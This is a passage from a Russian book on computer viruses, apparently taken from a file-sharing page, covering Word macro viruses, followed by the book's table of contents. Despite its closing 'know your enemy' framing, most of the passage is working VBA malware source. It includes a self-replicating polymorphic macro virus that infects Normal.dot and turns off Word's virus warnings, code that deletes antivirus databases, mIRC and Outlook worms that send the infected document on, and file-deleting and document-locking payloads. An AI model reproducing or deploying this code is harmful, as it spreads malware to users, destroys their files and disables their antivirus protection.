Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

МАКРО вирусы

341

 

 

кнопка «Break». После этого пользователь, заподозривший наличие макровируса, если попробует посмотреть на макросы в Word'e, ничего не увидит, что и требовалось. Теперь практическая часть. К нашему вирусу достаточно добавить следующие строки:

'----------------------------------------------

Private Sub Stealth()

Application.ShowVisualBasicEditor = 0 'Отключить показ редактора VB

Application.EnableCancelKey = 0

'Отключить клавишу Break

End Sub

 

'----------------------------------------------

 

Sub ViewVBCode()

 

Stealth

 

End Sub

 

'----------------------------------------------

 

Sub ToolsMacro()

 

Stealth

 

End Sub

 

'----------------------------------------------

 

Sub FileTemplates()

 

Stealth

 

End Sub

 

'----------------------------------------------

 

После этого можно считать, что мы использовали стелс-технологию для перехвата трех макросов: ViewVBCode(), ToolsMacro(), FileTemplates().

Также имеет смысл отключение тревоги и сообщений о вирусах. Зачем пугать пользователей?

'----------------------------------------------

Application.DisplayAlerts = 0 'Отключить тревогу Options.VirusProtection = False 'Отключить сообщения о вирусах '----------------------------------------------

Теперь перейдем к антиэвристике. Основным антиэвристическим приемом в макровирусах является смена шрифта, также можно использовать другие антиэвристические приемы, которые находятся довольно простым способом — методом научного тыка.

Итак, смена шрифта:

'----------------------------------------------

Selection.Font.Name = "Arial" '----------------------------------------------

После этого AVP и Dr.Web у меня перестали опознавать даже известные им вирусы, которые до этого успешно обнаруживали.

И последняя технология — это, как обычно, полиморфизм или же «мутационная» технология. Смысл полиморфной технологии применительно к макровирусам идентичен полиморфизму для обычных вирусов. Существует два пути мутациий. Первый, и самый расспространенный — это шифрование кода макроса. Второй — разбавление кода макроса мусорными командами. Возможно комбинирование этих двух способов. Рассмотрим более конкретно второй способ.

342

МАКРО вирусы

 

 

Данный генератор полиморфного кода предназначен для разбавления реальных инструкций мусором.

Рассмотрим саму функцию:

'----------------------------------------------

 

 

Private Function

poly() As String

 

Dim mas(20)

 

mas(1) = "'rghuyhewh"

'

mas(2) = "'[+]-31337-[+]"

'

mas(3) = "'heh-polymorf-engine-sl0n-(c)"

' Это мусорные

mas(4) = "'sd,jghsdighiuehrwiur345t3bk"

' строки, которыми мы

mas(5) = "':for bc=1 to 987: next bc"

' будем разбавлять основной

mas(6) = "'436ghdfjhdfjddfh"

' êîä

oncemore:

 

 

a = Rnd(4)

'

a = a * 10

' Это генератор случайных чисел

a = Int(a)

' В итоге данная функция возвращает

If a > 6 Then GoTo oncemore

' случайную строку из массива mas

poly = mas(a)

'

End Function '----------------------------------------------

Теперь рассмотрим вирус, который сочетает в себе все три технологии, то есть он будет использовать как стелс технологию так и полиморфную технологию плюс пару антиэвристических инструкций.

Вот листинг:

'----------------------------------------------

Private Function poly() As String

Dim mas(20)

 

 

 

mas(1) = "'rghuyhewh"

 

'

 

mas(2) = "'[+]-31337-[+]"

'

 

mas(3) = "'heh-polymorf-engine-sl0n-(c)"

'

Это мусорные

mas(4) = "'sd,jghsdighiuehrwiur345t3bk"

'

строки которыми мы

mas(5) = "':for bc=1 to 987: next bc"

'

будем разбавлять основной

mas(6) = "'436ghdfjhdfjddfh"

'

êîä

oncemore:

 

 

 

a = Rnd(4)

 

'

 

a = a * 10

 

' Это генератор случайных чисел

a = Int(a)

 

' В итоге данная функция возвращает

If a > 6 Then GoTo oncemore

'

случайную строку из массива mas

poly = mas(a)

 

'

 

End Function

 

 

 

'----------------------------------------------

 

 

 

Sub Document_Close()

 

 

 

'Application.UserName = "sl0n"

 

 

 

' h0b0t Word 97/2000 macr0 virus

 

 

Application.DisplayAlerts = 0

'Отключить тревогу

 

 

Options.VirusProtection = False 'Отключить сообщения

о вирусах

fonta = Selection.Font.Name

'

 

 

Selection.Font.Name = "Arial" ' Антиэвристика

 

 

МАКРО вирусы

343

 

 

Selection.Font.Name = fonta

'

If Application.UserName <> "[h0b0t]" Then ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd" End If

'Экспортирование файла с макросами

Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

If AD.lines(1, 1) = "" Then 'Если документ не заражен, то заразим Set t = ActiveDocument.VBProject.VBComponents.Item(1)

Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit1

i = 1

Do While Not EOF(1)

Line Input #1, a

If i > 8 Then

If i = 29 Then

t.CodeModule.InsertLines i, "sub Document_Close()" Else: t.CodeModule.InsertLines i, a + poly

End If End If

i = i + 1 Loop

quit1:

Close #1

End If

If Application.UserName <> "[h0b0t]" Then 'Если документ не заражен, то заразим Set t = NormalTemplate.VBProject.VBComponents.Item(1)

Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit

i = 1

Do While Not EOF(1)

Line Input #1, a

If i > 8 Then

If i = 29 Then

 

t.CodeModule.InsertLines i, "sub AutoClose()"

Else:

t.CodeModule.InsertLines i, a + poly

End If

 

End If

 

i = i + 1

 

Loop

 

quit:

 

Close #1 Application.UserName = "[h0b0t]" MsgBox "normal.dot 0wn3d"

End If

End Sub '----------------------------------------------

Private Sub Stealth()

Application.ShowVisualBasicEditor = 0 'Вырубить показ Редактора VB

Application.EnableCancelKey = 0

'Отключить клавишу Break

End Sub

 

344

МАКРО вирусы

 

 

'----------------------------------------------

 

Sub ViewVBCode()

 

Stealth

 

End Sub

 

'----------------------------------------------

 

Sub ToolsMacro()

 

Stealth

 

End Sub

 

'----------------------------------------------

 

Sub FileTemplates()

 

Stealth

 

End Sub

 

'----------------------------------------------

 

Вообще, в качестве примера была рассмотрена наиболее примитивная технология, но на самом-то деле большинство разработчиков вирусов используют более сложные. Данный пример, по сути, работал бы гораздо эффективнее, если бы эти мусорные строки вставлялись и между инструкций. Также не мешало бы генерировать мусорные строки «на лету».

В данном вирусе были применены все три описанные выше технологии, что позволяет надеяться на его неплохую живучесть.

Можно было бы использовать и ретро-технологию — в макровирусах она используется вообще элементарно:

'----------------------------------------------

kill "C:\Program Files\Common Files\AVP Shared Files\AVPBASES\kernel.avc" '----------------------------------------------

Обьяснять и комментировать нечего, традиционно убивается файл с базами для AVP.

Глава 3 Распространение через Интернет

Основными возможностями распространения макровирусов через Интернет стали почтовые рассылки и распространение при помощи клиента IRC — программу mIRC. Все, наверное, помнят, какую волну в 2000 году подняли два макровируса, распространяющиеся через e-mail. Это были вирусы Melissa и ILoveYou. Если Melissa просто беспредельно размножался, то ILoveYou еще и уничтожал множество файлов пользователей.

Рассмотрим пример mIRC червя на VBA:

'----------------------------------------------

' Simple mIRC w0rm by sl0n

Private Sub Document_Close()

'

На закрытии документа

On Error GoTo exit1

'

Обрабатываем ошибки

path1 = "c:\mirc\"

 

'

 

Open path1 + "script.ini" For Output As #1

' Открываем файл настроек для записи

Print #1, "[script]"

 

 

' Записываем mIRC

МАКРО вирусы

 

345

 

 

Print #1, "n0=on 1:join:#: { if ( $nick == $me ) halt"

' скрипт,

Print #1, "n1=

else /dcc send $nick " + path1 + "c00l.doc}"' который будет

Close #1

' рассылать всем на канале инфицированный

 

' документ. После закрываем script.ini

ActiveDocument.Save

' Сохраняем наш документ

 

ActiveDocument.SaveAs path1 + "c00l.doc" ' Также сохраняем его в папке mIRC

ActiveDocument.Close

' Затем закрываем его

 

exit1:

' Выход

 

End Sub

 

 

'----------------------------------------------

 

 

Данный тривиальный mIRC червь перезаписывает файл настроек script.ini, и, когда человек с измененным файлом настроек находится в сети, он рассылает всем зараженные документы.

Теперь перейдем к возможности распространения макровирусов через электронную почту. Основная идея распространения через e-mail заключается в том, что в почтовом клиенте Windows — Outlook Express содержится множество ошибок, и через него размножается 90% все почтовых макрочервей.

Теперь рассмотрим пример почтового червя:

'----------------------------------------------

' Simple e-mail w0rm by sl0n Private Sub Document_Close()

On Error Resume Next

Dim FileSysObject, File

Set FileSysObject = CreateObject("Scripting.FileSystemObject")

Set File = FileSysObject.GetFile(WScript.ScriptFullName)

Dim OutlookObject, OutMail, Index

' Создаем ссылку на

Set OutlookObject = CreateObject("Outlook.Application")

' Outlook Express

For Index = 1 To 50

 

' Отсылаем 50 писем

Set OutMail = OutlookObject.CreateItem(0)

' Создаем новое письмо

OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)

 

 

' Кому - адрес из адресной книги

OutMail.Subject = "My favourite game..."

' Тема письма

OutMail.Body = "Dear friend....

"

' Текст письма

OutMail.Attachments.Add (ActiveDocument.Fullname)

' Прикрепленный файл - наш документ

OutMail.Send

 

' Отсылаем

 

Next

 

' все письма

 

End Sub '----------------------------------------------

В данном почтовом черве рассылаются 50 писем всем, кто находится в адресной книге Outlook Express. В качестве приложения к письму отправляется наш макровирус.

Вот мы и рассмотрели создание mIRC и почтовых червей. Они получили такое распространение из-за того, что глобальная сеть Интернет переживает сей- час колоссальный рост.

Необходимо вовремя обновлять программное обеспечение, и антивирусные базы, и тогда Интернет-черви вам будут не страшны.

346

МАКРО вирусы

 

 

 

 

 

 

Ï ð è ê ë à ä í û å ô ó í ê ö è è â è ð ó ñ î â

Глава 4 Деструктивные способности вирусов

Основным и самым распространенным проявлением деструктивных функций в макровирусах является все тот же оператор kill "имя_файла". Как известно, данный оператор стирает файлы.

'----------------------------------------------

kill "c:\command.com" '----------------------------------------------

Стираем «command.com»

Другим распространенным деструктивным проявлением макровирусов является установка пароля на активный документ. Естественно, что пользователь данного пароля знать не будет, и из-за этого будет очень сильно страдать.

'----------------------------------------------

ActiveDocument.Password = "lam3r!" '----------------------------------------------

Устанавливаем пароль на активный документ.

Существуют различные попытки форматирования жесткого диска, но это всего лишь временная возможность, так как реально отформатировать винче- стер Windows не даст, а форматирование через autoexec.bat работает только в старых системах, потому как новые его не используют.

Глава 5 Графические и музыкальные эффекты

в вирусах

Самым распространенным проявлением как в Windows вирусах, так и в макровирусах является MessageBox. MessageBox — это обычное окошко с сообщением для пользователя, например таким:

'----------------------------------------------

MsgBox "Dis is supa Macro Vir by sl0n" '----------------------------------------------

Другим, не менее распространенным проявлением, является смена имени окна. Это уже несколько больше пугает пользователя, так как он не знает, что случилось.

'----------------------------------------------

Application.Caption="Macro P0wer !!!"

'----------------------------------------------

МАКРО вирусы

347

 

 

В совокупности с описанными выше проявлениями используется и такое проявление, как смена имени автора документа:

'----------------------------------------------

Application.Username="sl0n" '----------------------------------------------

Одним из самых красивых проявлений является запуск какой-нибудь веб-страницы. Можно запускать свою домашнюю страницу или страницу како- го-нибудь интернет-портала.

'----------------------------------------------

Shell "start http://www.sl0n.h1.ru" '----------------------------------------------

Существует множество различных проявлений, позволяющих спрятать курсор, заморозить его или заставить двигаться произвольно независимо от действий пользователя.

Заключение

В конце хочется отметить, что в этой книге были рассмотрены самые распространенные вирусные технологии. Для чего это было сделано? Книга была написана для того, чтобы раскрыть внутренний мир компьютерных вирусов. Еще Сунь Цзы писал, что если знаешь возможности противника и свои возможности, то сражайся хоть сто раз — опасности не будет. В нашем случае в роли противника выступили компьютерные вирусы, и хочется верить, что теперь чи- татель знает врага в лицо.

Содержание

Введение . . .

. . . . . . . . . . .

.

. . . . .

.

. . .

.

3

DOS ВИРУСЫ

. . . . . . . . . . .

.

. . . . .

.

. . .

.

5

Методы размножения вирусов . . . . . . . . . . . . . . . . . . . 5

Глава 1.

Простейшие overwriter вирусы

. . . . . . . . . . . . . 5

Глава 2.

Простейшие companion-вирусы . . . . . . . . . . . . . 11

Глава 3.

Простейшие parasitic-вирусы . . . . . . . . . . . . . . 19

3.1. Простейшие *.COM вирусы . .

.

. . . . . . . . . . . . 36

3.2. Простейшие *.EXE вирусы . .

.

. . . . . . . . . . . . 40

3.3.Простейшие *.COM + *.EXE вирусы . . . . . . . . . . . 48

3.4.Простейшие *.BAT . . . . . . . . . . . . . . . . . . . 53

Функции маскировки и ускорения эпидемии . . . . . . . . . . . . 55 Глава 4. Резидентность . . . . . . . . . . . . . . . . . . . . 55 Глава 5. Вирусные технологии . . . . . . . . . . . . . . . . . 63

5.1.Ускорение эпидемии и простейшая маскировка . . . . . . 64

5.2.Усиление кода . . . . . . . . . . . . . . . . . . . . . 70

5.3.Стелс механизмы . . . . . . . . . . . . . . . . . . . . 74

5.4.Антиэвристические приемы . . . . . . . . . . . . . . . 86

5.5.Динамическое шифрование . . . . . . . . . . . . . . . 89

5.6. Полиморфизм

. . . . . . . . . . . . . . . . . . .

.

. 93

5.7. Вампиризм . .

. . . . . . . . . . . . . . . . . . .

.

122

5.8. Ретро . . . .

. . . . . . . . . . . . . . . . . . .

.

126

5.9. Неизлечимость

. . . . . . . . . . . . . . . . . . .

.

127

Прикладные функции вирусов . . . . . . . . . . . . . . . . . . 132

Глава 6.

Деструктивные способности вирусов . . . . . . . .

.

132

Глава 7.

Графические и музыкальные эффекты в вирусах . . .

.

138

WINDOWS ВИРУСЫ . . . . . . . .

 

. . . . . . . . . . 153

Методы размножения вирусов . . . . . .

. . . . . . . . . . . . 153

Глава 1.

Простейшие overwriter вирусы

.

. . . . .

. . . . .

.

153

Глава 2.

Простейшие companion вирусы

.

. . . . .

. . . . .

.

160

350

 

 

Содержание

 

 

 

Глава 3.

Простейшие parasitic вирусы .

. . . . . . . . . . . . 169

3.1. Простейшие *.EXE вирусы . . . . . . . . . . . . . . . 185

Функции маскировки и ускорения эпидемии

. . . . . . . . . . . 209

Глава 4.

Резидентность . . . . . . . . . . . . . . . . . . . . 209

Глава 5.

Вирусные технологии . . . .

. . . . . . . . . . . . 214

5.1. Ускорение эпидемии и простейшая маскировка

. . . . . 214

5.2. Усиление кода . . . . . . . .

. . . . . . . . . . . . 221

5.3. Стелс-механизмы . . . . . . .

. . . . . . . . . . . . 225

5.4. Антиэвристические приемы . .

. . . . . . . . . . . . 233

5.5. Динамическое шифрование . .

. . . . . . .

. . . . . 234

5.6.Полиморфизм . . . . . . . . . . . . . . . . . . . . . 242

5.7.Вампиризм . . . . . . . . . . . . . . . . . . . . . . 281

5.8. Ретро . . . . . . . . . . . .

.

. . . . . . . . . . . 283

5.9. Неизлечимость . . . . . . . .

.

. .

.

. . . .

.

.

.

.

285

5.10. Распространение через Интернет

 

. .

.

. . . .

.

.

.

.

306

Прикладные функции вирусов . . . . . . . . . . . . . . . . . . 331

Глава 6.

Деструктивные способности вирусов . . . . .

.

.

.

.

331

Глава 7.

Графические и музыкальные эффекты в вирусах

.

.

.

.

334

МАКРО вирусы . . . . . . . . . . . . . . . . . . . . . 337

Методы размножения вирусов . . . . . . . . . . . . . . . . . . 337

Глава 1.

Простейшие *.DOC вирусы (trivial Macro) .

. . . . . . 337

Функции маскировки и ускорения эпидемии . . . . .

. . . . . . 340

Глава 2.

Вирусные технологии . . . . . . . . . .

. . . . . .

340

Глава 3.

Распространение через Интернет . . . . .

. . . . . .

344

Прикладные функции вирусов . . . . . . . . . . . . . . . . . . 346

Глава 4.

Деструктивные способности вирусов . . . . .

. . . . 346

Глава 5.

Графические и музыкальные эффекты в вирусах

. . . . 346

Заключение . . . . . . . . . . . . . . . . . . .

. . . 348

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]